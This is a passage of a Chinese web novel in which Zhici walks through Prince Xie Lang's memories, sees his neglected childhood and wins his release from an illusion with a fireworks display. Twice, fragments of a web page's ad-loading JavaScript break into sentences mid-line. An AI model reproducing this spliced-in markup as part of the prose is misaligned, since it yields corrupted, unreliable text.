知慈环顾四周,发现此刻自己身处一家私塾的走廊,左侧的门缝中传来朗朗读书声。 这便是谢琅的回忆了。 只听屋内一青年诵道,“其必曰‘先天下之忧而忧,后天下之乐而乐’乎。”青年读完,屋内响起一群稚子不甚整齐的跟读声。 原来屋内的青年夫子正在向学生教授《岳阳楼记》。 夫子道,“谢琅,你来给大家解读一下这句话。” 闻言,知慈反应过来,这里是谢琅所在的书堂。 于是知慈抬手去拉书堂虚掩的门,却发现自己的手直接穿过了门,仿佛透明的虚体。 难道现在自己只是一个鬼魂吗? 这样想着,知慈抬脚尝试穿过木门,发现没有受到任何阻碍,顺利穿墙进入书堂。 只见书堂前,正在讲课的青年夫子是知慈的一位熟人——比现在年轻了十岁的徐钰。 所以这是谢琅十年前的记忆? 知慈回头看去,书堂内,十余个稚嫩童子仰头盯着徐钰,却没有一个人向知慈投来目光。 知慈得出结论:这里的人看不见她。 神明让她尽快将谢琅从回忆中拉出来。可是,如果这里的人都看不见她,她又如何和谢琅对话、将他唤醒呢? 知慈尚未想明白,便听书堂后排一个稚嫩声音怯懦道,“我、我不知道。” 知慈顺着声源望去,看到一个小男孩站直身体垂着头。 讲台上,徐钰不悦道,“昨天上课时你都听什么了?”随即冲门口一指,示意他出去罚站。 谢琅抬头,神情乖巧而麻木,虽然年纪稚嫩,但容貌已初见几分俊秀。 被徐钰罚站,谢琅依言侧过身,身边小孩不耐烦‘啧’了一声,站起身给他让出了过道。 小谢琅与知慈擦肩而过,去了走廊,书堂里仍在继续上课。 知慈穿过谢琅的同桌,来到谢琅的座位上。 只见他的课桌上墨迹一块一块,上面铺着一张草纸,纸上画着一堆小人,一看便知他方才在课堂上在开小差。 草纸下露出了他的功课,上面的字迹歪歪扭扭很难看。 知慈又瞥了眼他同桌的字,虽然尚显青涩,但规规整整,一看便比谢琅刻苦用功得多。 知慈不解。 在她印象中,谢琅是京城公认的青年才俊。他出身高贵又有能力,更可贵的本人十分谦逊努力。知慈几乎每次见到谢琅时,他都在忙于朝中公务。 这样一位“优秀”的代名词,怎么童年时期会这么愚笨又不认真? 知慈的灵体穿过课桌,又穿过墙。她来到走廊,便见到小谢琅仰着俊俏的脸蛋,目光呆滞地望着庭院之外的天空,一副放空大脑的模样。 知慈唤了一声,“喂。” 谢琅没有反应。 知慈走到他面前,伸开五指冲他晃了晃。 谢琅神色没有任何变化。 这样的反应让知慈彻底确定下来:谢琅看不见自己,而自己目前也无法和谢琅对话。 知慈瞥了眼悬挂于天空中的沙漏,代表着神明法力的细沙时刻提醒着她时间有限。可是,如果需要自己干预才能救出谢琅,她现在又为什么不能和他对话呢? 其实知慈心中已经有了猜想。 在谢琅的记忆中,此时此刻并不存在‘沈知慈’这个人。所以自己只能以虚体的形式存在。只有等自己在谢琅回忆中真正登场时,她对谢琅来说才是真实存在的‘人’,才能与他交谈。 知慈沉思期间,周围环境开始转变,碎裂成一片一片,又渐渐重新粘合。 当知慈的视野再度清晰后,她注意到自己站在宫墙之下。天空之中,沙漏里的细沙流逝了不少。 天色将暗,小谢琅神色郁郁走进一座破败的宫殿。 宫殿内,一位三十多岁的女子斜靠在廊柱旁。 女子瘦到几乎只剩下骨架,容色苍白枯槁,看起来像一具油灯枯尽的僵尸。这副病态的模样,无端让知慈想起路府二少爷路茂枝。 小谢琅神色木讷,见到女子,麻木地开口,“娘娘,我下学回来了。” 被唤作娘娘的女子道,“嗯。寒食散没了,你去问太监搞点。” 说着,她递给谢琅一件可以换钱的首饰,“还有,本宫做你养母也一年多了,为什么还不改口叫母妃?” 谢琅没有回答她的问题,只接过那件首饰,温顺道,“我知道了。” 随即他走出宫殿,熟练左拐右拐来到宫中一间房屋里,与屋里的太监如是这般嘱托了一番。 没过一会儿,太监便拿出一个包的严严实实的包裹,交给了谢琅。 “对了殿下,”太监唤住谢琅,“过几天便到追月节了,采买司购进了一批烟花,余富不少。您若想玩,可以出宫来找奴才。” 小谢琅眼睛亮了亮,随即却看向别处,吞吞吐吐道,“我不爱玩儿那东西。” 太监稀奇地望着他,“哪有小男孩不爱玩炮仗的?” 随即太监想到了一个可能,不敢置信道,“您不会不敢放吧。” 小谢琅没回答,但俊秀的面皮却变红了。 太监瞧了他半晌,笑了起来,“嗐,这有什么。殿下您不用不好意思,其实奴才小时候也不敢玩。” 谢琅意外地抬起头看他。 太监道,“小时候每逢过节,爹爹都会买来各色烟花。不过那时奴才胆小,只敢玩烟花棒,大威力的礼花和鞭炮都是奴才爹放的。” “那时爹爹点燃引信的背影简直伟岸无比,奴才心里崇拜得不得了,特别渴望将来能像爹爹勇敢。” “然后,也就过了一两年,奴才身量窜高了些,胆子也变大了,放烟花根本不是个事。但同样,奴才长大了,爹爹在奴才眼中也就没那么伟岸了。” 小谢琅怔怔听着太监聊起过去,听他提及他的父亲时,谢琅不自知露出了向往而失落的神情。 他低声咕哝道,“可父皇却从来没陪我放过烟花。” 恰好这时,屋外传来喧哗声。太监一溜烟跑了出去,很快回来道,“是陛下在外面,和内阁大臣们在附近散步。” 太监示意谢琅将寒食散暂时藏起,谢琅将包裹放在五斗橱内,随即出了屋,向喧哗的声源处看去。 知慈的灵体跟随在谢琅身后,只见不远处宫墙之下,嘉平帝正在同首辅边散步边议政,后面跟着一群官员。 知慈察觉到小谢琅看见十分激动。 为了引起父皇的注意,谢琅在嘉平帝快要经过自己时,主动跪下行礼道,“儿臣见过父皇。” 交谈被打断,嘉平帝不悦地看向谢琅,官员们无一人敢发出声响。 皇帝锐利的眼睛审视着谢琅,“你是哪个?这么没规矩?” 嘉平帝身后的宫人附耳提醒道,“陛下,他是芳红姑娘的孩子。去年芳红姑娘病逝,您便命人把他接进宫里来。” 嘉平帝恍然,“朕想起来了,他现在是由李妃抚养吧。” 于是嘉平帝再度看向谢琅,“李妃她怎么样,还在服寒食散吗?” 寒食散是官府禁药,小谢琅与李妃虽然没什么感情,却也不愿出卖她,“她已经好很多了。” 嘉平帝嗤笑一声,根本不信。随即例行公事般道,“你呢,在宫里一切都还习惯吧。” 谢琅欲言又止,最终却乖巧懂事地垂下眼睫,点头道,“习惯。” “那就好。”嘉平帝移开视线,结束了与谢琅的对话,又同臣子们商议起政事。 谢琅见父皇难得将注意力放在自己身上,又蜻蜓点水般离开,他心里怅然若失,还想和父皇再多说些话。 他鼓足勇气,开口争取道,“父皇,您若有时间,能来看看我……和李妃吗。” 嘉平帝再度被打断,十分不快,他强压下不耐,皱眉俯视着谢琅,一言不发。 谢琅被盯得难堪,低下了头,嘉平帝终于开口,“小子,看来你娘和李妃都没教你什么叫礼貌。朕正在议事,下次说话前,自己先掂量清楚。” 周围安静一片,谢琅一腔真心遭到冷遇,眼泪在眼眶中滚来滚去。 他低下头,听着一行人离去的脚步声,泪水终于滑落下来,滴在他的鞋背。 知慈望着谢琅,觉得他这副模样有些可怜。 随即,周围的景象开始一寸寸消失。下一刻,知慈又回到了私塾中。 时间线似乎往前跳跃了几日,知慈发现私塾中的一些陈设改变了位置。 只见小谢琅孤零零站在廊下,书堂内,徐钰讲书的声音传来。 他又被罚站了?知慈忍不住腹诽,这书念得也太差了。 小谢琅背倚着墙,安静得仿佛睡着了。夕阳斜照,映衬出他俊秀轮廓的细细绒毛。 屋内传来徐钰的声音,“今日是追月节,诸位同学多吃多玩,我们节后再见。” 话音落下,书堂内响起此起彼伏的板凳拖地声和孩子的喧闹声。学生们推开门,鱼贯而出。 直到教室内再次安静下来,徐钰手握书卷走出书堂,见谢琅还在外面站着,无奈叹了口气,道,“进去收拾东西吧。” 谢琅进屋,回了自己的座位开始收拾东西。 徐钰望着他,半晌道,“殿下,你既然已经被陛下认回宗谱,上书房自有大儒为你授课。又何必继续隐姓埋名在我这小小私塾读书?” 小谢琅垂着头,“娘亲生前在您这交的学费还没花完,我不能浪费。” 徐钰哭笑不得,“这也是理由?那你又为何上课从来不听讲?” 谢琅垂头不语。 徐钰又道,“若只因不想浪费你娘亲的血汗钱,那我退给你就是。你不想学,就不要耽误彼此的时间了。” 见徐钰这么说,谢琅立刻抬头,“别、老师,我说实话!只有在您这里读书,我才不会被皇兄皇姐欺负。” 徐钰扬起眉,等待他的下文。 小谢琅道,“我娘生前,父皇一直将我放养。去年我娘死了,父皇才派人把我接回宫,让我去上书房和皇兄皇姐们一起读书。” 谢琅继续道,“可他们都很排斥我,骂我是野种,明里暗里地整我,我实在没办法,只能跟父皇说我想回您这儿读书。这样起码不会被他们欺负。” 徐钰道,“所以你把我这儿当成了避难所?” 小谢琅不吭声。 徐钰道,“行吧。那你先出来吧,我要锁门了。” 小谢琅随徐钰出了私塾。徐钰将大门锁好,道,“每天接送殿下那个太监呢?” 小谢琅道,“应是去梨园听戏入了迷,把我忘了。” 徐钰道,“那殿下怎么办?” 小谢琅道,“站在这里,等他回来接我。” 徐钰叹了口气,“那我陪殿下一起等吧。” 二人并排站在私塾门前,沉默片刻后,徐钰忍不住道,“殿下身份尊贵,必须学会驭下之术,这世上没有主子等奴才的道理。” 小谢琅低头,无意识地用鞋尖碾着泥地,低声道,“我不着急,我不想回宫。” 徐钰瞥了他一眼。 不远处有小贩在路边叫卖烟花爆竹。谢琅看到自己私塾的同窗和他爹站在摊位前。 同窗嫌他爹买得太少,嚷着多买些。他爹被缠得不耐烦,最终还是买了儿子想要的款式。小孩接过烟花,面上难掩兴奋之情。 谢琅出神望着远处的同窗,目光有他自己察觉不到的艳羡。 徐钰开口,“殿下也想放烟花?” 谢琅否认,“我不想。” “那殿下在看什么呢?” 谢琅不说话,半晌,他声音有些委屈,“我不明白,既然父皇对我不闻不问,又何必把我接到宫里,为何不让我自生自灭呢。” 徐钰愕然,“你在生气陛下忽视你?” 谢琅心里的确有些怨愤。 他从小由母亲抚养长大。那时父皇还是只藩王,虽会定期遣人给母子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 二人送生活费,却从没亲自探望过谢琅。 娘亲说爹爹很爱自己,但爹爹需要他正妻岳丈家的帮扶,所以不能过来看他娘儿俩。 后来,兴佑帝被掳至鞑靼,爹爹被推举为新的皇帝。谢琅心想,皇帝可是世上最尊贵的人,不受任何人钳制。如果他爱自己这个儿子,这下总会把他接回去了吧。 可父亲依然对他们母子不闻不问。 谢琅向娘亲抱怨,却被批评了一顿。娘亲说父皇如今是天下共主,日理万机,谢琅这样指责爹爹实在太不懂事。 想到这些过往,谢琅心里又生气又拧巴,忍不住问徐钰,“老师,您也觉得父皇没错吗?” 徐钰叹了口气,道,“孩子,虽然你可能不爱听,但你母亲说的是对的。” 谢琅闻言,露出失望的表情。 徐钰继续道,“你也知道,我在当教书先生前,曾在兴佑帝麾下效力。那时兴佑帝北伐伤了谢国元气,你父皇被赶鸭子上架当了皇帝。他看似手握权柄,可谢国内忧外患,想让国家重回正轨并不容易。” “当你埋怨你父皇对你关爱太少时,他正把全副精力投入到治国和朝政上。若没有你父皇励精图治,谢国局势不可能这么快恢复平稳。说句大不敬的话,你的父皇远比兴佑帝更适合坐在这个位置之上。” 谢琅听到这里,有些动容。 徐钰道,“你娘亲说的没错,陛下首先是一国之君,然后才是你的爹爹。你想想看,如果陛下对你很好,却将天下治理得一团乱,那你还会有如今平静的生活吗?” 谢琅低声道,“……不会。” 徐钰点头,“就是这样。殿下你年纪小,渴望父爱很正常。但你既是皇子,就必须尽快成熟,担负起身上的责任。” 谢琅喃喃道,“我的……责任?” “是啊,你身为皇子,享受万民供奉,就该肩负起相应的责任。父爱不该作为衡量一位君主称职与否的标准,同样,父爱也不该是一位有志向的皇子的追求。” 谢琅听懂了。 徐钰道,“孟子云,‘民为重,社稷次之,君为轻。’殿下,您真正该追求的是抛却享乐,克己奉公,还有——” 徐钰没说完,谢琅便接话道,“还有,先天下之忧而忧,后天下之乐而乐?” 徐钰一愣,随即笑笑,“不错,殿下总算跟上了一点课业进度。” 徐钰话音落下,周围的场景便开始渐渐消融。 知慈明白,这一段回忆到此便结束了。 时间再次向前,接下来谢琅的记忆跳跃而破碎。知慈旁观着这些记忆碎片,拼凑出了接下来几年间谢琅的成长经历: 自那日和徐钰谈心之后,谢琅就变了一个人,开始用功读书。一年之后,谢琅主动要求回宫里上书房学习,但依旧和徐钰保持着师生情谊。 回到上书房后,谢琅不再畏惧皇兄皇姐们的排挤。在一次针对他的过分恶作剧中,谢琅略施手段惩罚了主谋,从此再无人招惹谢琅。 这期间,谢琅的养母李妃在一次服食寒食散的过程中,因未控制好剂量,摄入过多中毒去世。 谢琅和李妃没什么感情。李妃死后,谢琅厌恶地将殿里的寒食散全部销毁,又拒绝了父皇指派其他宫妃照顾他的提议——他不想再要这种毫无用处的养母。 随着时间流逝,谢琅渐渐长大。他外形优越,才华出众,逐渐成为了京城青年才俊的代表人物。曾经对他敬而远之的皇兄皇姐也开始有意与他交好。 不断跳跃的时间线在谢琅过完十八岁生日的这天再度停下。 这一次,知慈发现自己身处御书房。谢琅站在几案前,皇帝坐在几案后。 窗外的天空中,代表神明法力的沙漏又流逝了不少。 知慈心知要等到谢琅同自己相识之后才能和他对话。但看着剩余的时间越来越少,知慈内心却还是难以遏制变得紧张。 嘉平帝正在批阅公文,眼睛都没抬,“有事说。” 谢琅无意识摩挲着衣角,暴露出他内心的紧张,“父皇,这次春闱我也参与了,成绩还不错,中了会元。” 嘉平帝没有回应,继续批阅公文。见谢琅半天没有下文,皇帝抬起头,“然后呢。” 谢琅本希望父皇听见这个消息能露出欣慰或骄傲的表情,但皇帝无动于衷,谢琅只得干巴巴道,“您……没什么想说的吗?” 嘉平帝终于放下了手中的案卷,直视谢琅,“你想让朕说什么?‘谢琅,你能考中会元,我们老谢家真是祖坟冒了青烟?’” 一旁站着伺候的太监低下头,知慈看出他在憋笑。 谢琅脸色有些发白。 嘉平帝审视着他,“你身为皇子,享受全天下最好的文化资源,努力和优秀不是天经地义么。” 嘉平帝顿了顿,道,“还是说——你的努力和上进,是为了讨朕欢心?” 谢琅脸上火辣辣的,立刻挺直背脊否认道,“儿臣读圣贤书,是为报效百姓君国。” “那很好,”皇帝瞥了他一眼,“既然如此,身为皇子,你就不要占用普通百姓的资源了。你的名次我会让礼部抹去,让给真正的平民子弟。” 说完,皇帝便又低下了头,翻起了奏折。 谢琅就这样被晾在一旁,他不甘心,又道,“父皇,您给几位皇兄都安排了差事,却唯独让我闲着。儿臣不明白,自己比他们差在哪。” 皇帝反问,“你凭什么认为,你能比得上你皇兄?” 谢琅非常不服气,“儿臣能考出功名,皇兄却都做不到,这还不够么?为什么您偏偏就是瞧不上我?” 皇帝盯了他半响,道,“好。” “你这么想证明给朕看,那朕便给你一个机会。” 谢琅下意识攥紧了衣袖。 皇帝道,“近来白巾教活动猖獗,在京城为非作歹,昨日,他们刚刚袭击了路繁叶家。” 皇帝将手中的奏折递给谢琅,“你既然自告奋勇,那剿灭白巾教贼寇的任务,便交给你了。” 谢琅接接过奏折,上面是针对白巾教一案的详细汇报。 他抬起头,神色激动,“儿臣接旨。” 36. 烟花 谢琅和嘉平帝的回忆结束了。而知慈也陷入了虚无的黑暗之中。 当她再度意识清醒后,她发现自己抱膝蹲在冰冷的石板地上,脸上有泪水风干的刺痛感。 “姑娘,你怎么了?” 知慈猛地抬头。 只见谢琅一袭白衣,顺滑的乌发间系着红发带。他正担忧地望着她,认真地看着她的眼睛。 谢琅能看见自己了? 想到此处,知慈环顾四周,注意到自己正坐在徐钰家门口。 是了……这是她与谢琅第一次见面的地方,那时赵晏然瘫痪,她走投无路求到徐钰家门口,幸亏遇见谢琅及时帮助了自己。 知慈缓缓移回了目光,明白了自己在谢琅的回忆中正式登场,她可以和谢琅说话、影响他了。 知慈看向天空。天空中,代表无生老母法力的沙漏已经流逝了大半,也就是说,留给自己的时间不多了。 时间紧迫,知慈直入主题。 “谢琅,你听我说,现在你周围的一切都是幻象,你被自己的记忆困住,必须尽快醒来。” 谢琅用一种异样的眼光看着她,“姑娘,你在同我说笑吗?” 知慈急道,“我没开玩笑,你再不醒来,就只能在幻想中死去了。” 谢琅神色未变,显然不信,“好,我相信你,那你能先让开么,在下有事找这家主人。” 知慈见谢琅无动于衷,于是深深吸了一口气,强迫自己冷静下来。 “我知道,一个陌生人突然告诉你,你身处的世界是假的,很像疯子。” 知慈道,“但你有没有发现这里的一切都很不对劲,很多事你还没做,便已经知道接下来会发生什么。” 知慈回忆着自己与幻境中的沈纤纤对话时的状态,想引起谢琅的共鸣。 谢琅神色松动了,“……是,我的确有过这种感觉。” 知慈看见了希望,乘胜追击道,“你知道的,只要你内心怀疑这一切是假的,幻境就会立刻破碎。” 这一次,谢琅没有说话。 就在知慈以为他想明白时,却听谢琅道,“我想不起自己忘了什么,但心底有个声音告诉我,我忘记的事,并不愉快。” 谢琅继续道,“如果另一个世界并不愉快,我又何必清醒过来,自寻烦恼呢?” 知慈哑口无言。 若是一个人主动选择被困在回忆中,那旁人又该如何去唤醒他? 知慈目送谢琅敲门进院。大门关闭,谢琅也消失在她眼前。 随即,周边由记忆织成的景象因主人的离去寸寸崩塌,在白光中消融。 - 视野再度清晰时,知慈站在锦衣卫北镇抚司门前的街道上。 在她对面,一个太监站在门口,对知慈道,“知慈姑娘,谢琅殿下在里面等您,随我来吧。” 知慈反应过来,当时的自己看到失独的花婆婆可怜,想要将花婆婆引荐给谢琅。 此刻,她正准备进入北镇抚司去同谢琅商量这件事。 想到这里,知慈心里有了主意。 她让太监等她一下,说自己要给谢琅的东西落在来时的地方了。 知慈离去片刻,又回到了北镇抚司门前,示意太监可以进去了。 知慈跟在太监身后,手抚过自己的衣袖。 她方才去隔壁街的市场买了一把匕首,此刻,匕首就被她藏在身上。 面对自暴自弃的拯救对象,既然晓之以理行不通,知慈决定直接来硬的。 天空之中,沙漏所剩的细沙提示着知慈,她的时间越来越少了。 知慈被太监引着来到大狱前。 和知慈记忆中一样,此刻的谢琅正在被吴姑娘纠缠。 看到知慈,谢琅眼睛一亮,像看到了救星。他打发掉了吴姑娘,又对知慈温和道,“好久不见,知慈。” 知慈察觉到谢琅对自己态度友善,且直呼自己名字,相比上一段记忆要熟稔很多。 也就是说,谢琅并没有上一段与自己争辩的记忆。无论自己现在对他做什么,只要来到下一个场景,他都会忘记,重新投射记忆中‘沈知慈’的形象。 知慈脑中飞快思考,脚步未停。 她来到谢琅身边,从袖中抽出匕首,刺入了谢琅的腹部。 变故突生,一旁的太监大声惊叫起来。 知慈清晰感受到刀柄扎进皮肉的钝感,还有谢琅疼痛的颤抖。下一瞬间知慈拔出刀,谢琅捂住腹部,疼痛让他跪倒在地。 而知慈则立刻蹲下,按住谢琅因疼痛而颤抖的肩膀,将刀刃贴在谢琅脖颈旁。 “为什么?”知慈听见谢琅压抑着疼痛开口,“你我无冤无仇。” 知慈道,“因为我想活,还想让你也活。” 谢琅疼得抽搐了一下,咬着牙勉强开口道,“你拿刀捅我,是为了让我活着?” 知慈道,“是啊,你既然喜欢沉湎于回忆,不愿意醒过来,那我就一刀一刀折磨你。” 知慈继续道,“你明知道这世界是假的,可还要自我欺骗。现在我告诉你,只要你一直不想醒,就会被我一刀刀凌迟。那么,你是选择继续在这挨刀子,还是回到现实,停止折磨?” 谢琅痛苦地吸气,没有回应。 “喂?”知慈见他不说话,心里有点没底,“说话啊。” “我不喜欢被人威胁。”谢琅艰难道,“不论你的目的是什么,想用死威胁我,就和我一块去死吧。” 话音落下,利箭破空声响起。 知慈后背被锋利的箭矢贯穿。剧痛中,她听见身后有人施令道,“刺客生死勿论,保证殿下安全。” 随即,知慈失去意识,陷入无边黑暗之中。 - 知慈睁开眼,发现自己再次变成了灵体。 周围灯火辉煌,喧嚣无比,知慈站在茶馆二楼华丽的半露天包厢中,向外俯视便看到大街上人群熙攘。 沙漏中,神明的法力马上流光,触目惊心地提醒着知慈死亡随时将至。 知慈叹息一声,她盲目高估了自己。 她没想到将谢琅拉出回忆这么难。如今她非但没能救出谢琅,反而将自己也置身危险之中。 眼下,她又变成了什么都做不了的鬼魂,只能眼睁睁看自己离死亡越来越近。 包厢内,谢琅正在同池无暇、还有其他年龄相仿的青年才俊闲谈。 “殿下,那女孩看着眼生,不知是京城哪家的闺秀?”其中一人问道。 谢琅道,“她是个出身普通的女孩,我偶然相识,发现她人品很好,便同她交了个朋友。” 对方道,“这样啊。我见您方才将花灯给了她,以为你们关系非凡。” 听到这里,知慈心下了然:这是谢琅追月节当晚的回忆。 那时他大庭广众下送了一盏走马灯给自己,随即返回包厢。而此刻的场景,就发生在谢琅回到二楼的包厢后。 一旁,池无暇插嘴道,“那女孩我也认识,上次白巾教绑架的人质里就有她,挺倒霉一姑娘。不过,你把花灯给她,我猜……是为了挡掉其他闺秀吧。” 谢琅嗯了一声,“她很聪明,也很善解人意。那盏花灯很值钱,她卖掉能换不少银子。” 就在这时,包厢进来了一个太监,“殿下。” 谢琅见到来人,便对同伴道,“我失陪下。”随即离开包厢。 知慈的灵体也跟随着谢琅穿过了墙,来到门外走廊。 只见谢琅和太监在一处僻静的角落站定。 谢琅道,“怎么样,有消息了吗?” 太监低着头道,“回殿下,陛下指定了二皇子去江南治理水患。” 知慈在一边听着,心下猜测这个太监是谢琅在宫里的眼线。 另一边,谢琅大失所望,“怎么会这样?我已经向陛下证明了我的能力,可他为什么还是不愿意用我?” 太监犹豫半晌,开口道,“陛下说……您不守规矩。” 谢琅愣住,“为什么?” 太监道,“陛下原话:白日您未提前打过招呼,便在百官面前公然指控孟强,太自作主张。” 谢琅沉默半晌,“明白了。” 随即他换了话题,“对了,你出宫时,陛下还在御书房务公吗?” 太监摇头道,“没有,陛下傍晚便去了东宫看望皇长孙,还说今天是追月节,要陪孙儿放烟花,命人运了不少烟花过去。” 谢琅不说话了。 见该汇报的都已汇报,太监打算告辞。他最后问道,“殿下,您还有什么吩咐?” 谢琅道,“没事了,你走吧。” 太监刚了个礼,又听谢琅叫住他,“哎。” 太监看向谢琅。 谢琅道,“前几日工部刚刚颁布法令,追月节期间禁放烟花,陛下怎能知法犯法?” 太监露出为难的表情,不知怎么回答。 谢琅摆了摆手,没有再为难太监。太监走掉后,谢琅推门回到了包厢。 包厢内,池无暇正在讲笑话,将其他人逗得哈哈大笑。 谢琅郁郁不乐,来到露台,俯瞰外面拥挤的人群。 知慈飘在谢琅身后,顺着他的目光向外望去。 只见楼下空地搭了个大戏台,四周围满了人,纷纷伸长脖子朝中间平台瞧热闹。 知慈突然福至心灵:自己当时也在这里!那她的身体此刻是否也在人群之中? 知慈目光梭巡,很快锁定了一家名为‘叔记烟花’的店铺——她记得当时的自己就站在这家店门前。 随即,知慈看见了一个长得与自己一模一样的女孩。 就在知慈看见自己身体的同时,一股巨大的吸力让知慈头晕目眩。 下一秒,知慈发现她回到了自己的身体之中,左手还提着谢琅送她的花灯。 她又能控制自己的身体了。 前后左右都是拥挤的人群,知慈抬起头,看见谢琅凭栏而立,清俊颀长的身影宛若谪仙,他目光没有焦点地看着下方,一副心事重重的模样。 知慈仔细回忆当天后来发生的事。 她记得谢琅在二楼又站了一会,便郁郁寡欢下楼离开了茶馆。 那之后,自己本想去追谢琅,却被赵晏然叫住,然后谢琅就被她忘到了脑后。 周围喧闹无比,拥挤的人群不时爆发出热烈的喝彩声,但知慈身后,却一直有个男人在呜呜咽咽地哭泣。 知慈回头,看见烟花铺的掌柜正坐在门口痛哭。 知慈想了起来,这位掌柜斥巨资购进了大批烟花,但朝廷却在追月节前夕颁布法令,禁售烟花。掌柜店里堆积的成箱烟花,全都成了废品。 知慈望着掌柜,半晌,她开口道,“大叔,别哭了。” 掌柜双眼红肿看向知慈。 “我有个主意,能挽回你的部分损失,想不想听?” - 如知慈记忆一样,谢琅凭栏吹了会风,便离开茶馆二楼包厢。 知慈望着他离去的身影,跟了上去。 她留了心眼,绕了点路,避开了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会来打扰她的赵晏然。 洒满月光的道路上,知慈远远缀在谢琅身后。 越往远处走,周围愈发静谧。最终,谢琅登上了一处开阔无人的高台,一个人坐了下来。 知慈跟上前,来到高台底下,抬起头,看见谢琅曲着一条腿坐在高高的露天平台上,遥遥看向远方紫禁城方向。 知慈沿着楼梯也登上了高台。 听见声响,谢琅没有回头。 “介意我在这坐会儿吗?” 谢琅听出了知慈的声音,他摇摇头,长睫轻颤,黑眸依旧望向远方。 晚风吹拂过谢琅的发梢,见他鼻梁挺翘,下颌线清晰瘦削,平日贵气俊挺的侧颜此刻看起来忧郁而脆弱。 二人就这样安静坐着。高台之上,视角广博,只见夜空深邃,万家灯火通明。 知慈看他,“你不开心?” 谢琅没有回应。 知慈道,“我见你方才离开茶馆时,便情绪低落。” “知慈,我现在不想说话。”谢琅委婉地打断。 但知慈不听他的。 “你为什么不开心?让我猜猜……是累了?或者和同僚吵架了?” 谢琅眉头皱起,对知慈不识趣的搭讪感到不快。 他正欲拒绝得更加直白,然而下一刻,却听知慈道,“……还是说,殿下在为无法获得父皇的认可而烦心?” 谢琅猛地看向她,“你怎么会——” 知慈接话道,“——我会怎么知道?” 她翘起嘴角,“我当然知道。因为这里并非真实世界,而是你的回忆幻境。你的成长经历我都完整旁观了一遍,所以我很清楚你现在心里想什么。” 谢琅皱起眉,等待着知慈下文。 知慈顿了顿,道,“你羡慕你父皇忽视你,却陪他孙儿放烟花,是不是?” 闻言,温润公子难得失态,他有些狼狈地别过脸,冷声道,“别自以为是了,我又不是小孩子,怎么会在乎这种无聊的事。” 知慈道,“我明白,一场烟花当然没什么了不起。你心里真正想要的是陛下关心和认可。” 谢琅一滞,随即盯着远处道,“你想错了。陛下于我来说是领袖、是榜样,我尊敬他,仅此而已。” 知慈凝视着他,半晌开口道,“你真这么想吗?” 谢琅没说话。 “所有人都告诉你,你爹是皇帝,你是皇子,索取父爱是不明事理、软弱无能的表现。” 知慈继续道,“可我不这么觉得。陛下疏忽你这个儿子,你理应觉得委屈。你不需要为他找借口,不需要故作坚强,更不需要为了获得他的认可,用克己奉公掩饰真实欲望。” 谢琅惊愕地看向知慈。 寂静夜晚,远处传来打更人的梆子声响,二更天了。 “陛下作为皇帝再称职,也抵消不了厚此薄彼、对你有亏的事实。你高中会元,又剿灭了白巾教,陛下不认可你,是他有眼无珠。” 知慈道,“所以,不要再执着于他的认可了。你有那么多敬佩你的同僚、爱戴你的百姓,你有池无暇,有徐钰,还有我。你左右不了你父亲的态度,但你可以选择将目光放在其他认可你的人身上。” 知慈又道,“你不是想看烟花吗?不一定非得是陛下放吧,我也可以给你放啊。今年追月节我来为你放烟花;以后岁岁年年,还会有越来越多敬仰你、认可你的人为你放烟花。” 知慈唤谢琅。 “殿下。” 谢琅怔怔回望。 “烟花赠玉郎,希望你喜欢。” 知慈话音落下,只听一声炸响,集市方向的天空绽开了盛大而美丽的烟花。 谢琅睁大了眼,流光溢彩的烟火将他的面孔映照得明明暗暗。眸中流动着知慈看不懂的汹涌情绪。 知慈转过身,望着空中自己安排的烟花,悄悄擦了擦手心的冷汗。 天空中的沙漏马上就要流光了。 这是最后一次机会了。 一旦失败,她和谢琅就都要被困在幻境之中,直到死亡。 这一次,她复盘了一开始她在自己回忆中的表现。当时她面对沈纤纤的请求,没有像从前一样答应,而是毅然拒绝,才得以破除回忆,见到神明。 因此知慈得出结论,想唤醒谢琅,还得从他的执念入手,破除了执念才能回到现实。 如今她已经做完了能做的一切,接下来,是否能成功,就要看谢琅了。 知慈心里七上八下。 为了缓和紧张,她一边看着天空中此起彼伏的焰火,一边与身后的谢琅没话找话。 “对了,你别介意,这场烟花其实是我用你给的花灯换来的。” 知慈道,“烟花店掌柜一开始怕违反禁令,不敢答应。但我说要用那盏价值连城的花灯作为报酬,一听这话,掌柜就拒绝不了了。” 知慈继续道,“于是他问我什么时候燃放,我就和他约定,以二更天梆子声停时为准——哎?” 知慈话未说完,忽然被谢琅从后方紧紧搂住。 谢琅搂得很紧,就像是抱住自己千辛万苦找到的珍宝。 知慈听见谢琅有些哽咽发闷的声音从头顶传来—— “谢谢。” 伴随谢琅话音落下,天空之中,代表着神明法力的沙漏也流尽了最后一粒细沙。 二人所在的幻境开始消融,与之前的环境变幻不同,这一次,周围的气息变得鲜活而真实。 失去意识之前,知慈的直觉告诉她,她成功了。 37. 重逢 就在谢琅紧紧抱着知慈时,四周景象开始一寸寸泯灭。 与之前在幻境中虚幻的感觉不同,知慈清晰感觉到他们从幻象中脱离出来,回到了现实世界。 谢琅终于破除了执念,主动选择回归现实。 在意识清醒的最后一刻,知慈听见神明的声音缥缈传来。 “凡人,别忘记你我的交易。” - 知慈再度睁眼,发觉自己置身于一间肮脏的密室之中。 密室上方,敞开的窖井是唯一光源。借助光源,知慈看到密室墙壁贴满了镜子,而屋内则堆满了各种垃圾废料,上面蒙着一层厚厚的灰尘。 她又回到了青牛观那间密室之中? 知慈转动眼珠,看到脚边不远处便矗立着无生老母的雕像残骸。 于是知慈缓缓坐起。伴随着哗啦哗啦的声音,覆盖在她身上的各种书本杂物都掉了下来,知慈扭头头去瞧,才发现自己方才被埋在了一堆经文底下。 知慈低下头,发现自己的衣着服饰同三年前死去的那日一模一样。 自己真的回来了。 想起神明的嘱托,知慈依言起身来到了无生老母雕像残骸面前。残骸前摆着一个蒲团,破烂得不成样子。 无生老母说,孙芳姑在蒲团底下藏了一瓶毒药。于是知慈掀开蒲团,发现下方的镜子有机关,可以打开。 知慈打开镜子,果然看到了一瓶毒药。于是知慈将药放到衣袖中,准备等熟悉了环境后再仔细研究。 知慈动作稍大,碰到了旁边的杂物。她一转头,便看见谢琅闭着眼一动不动,身体被埋在了一堆杂物和经文之中。 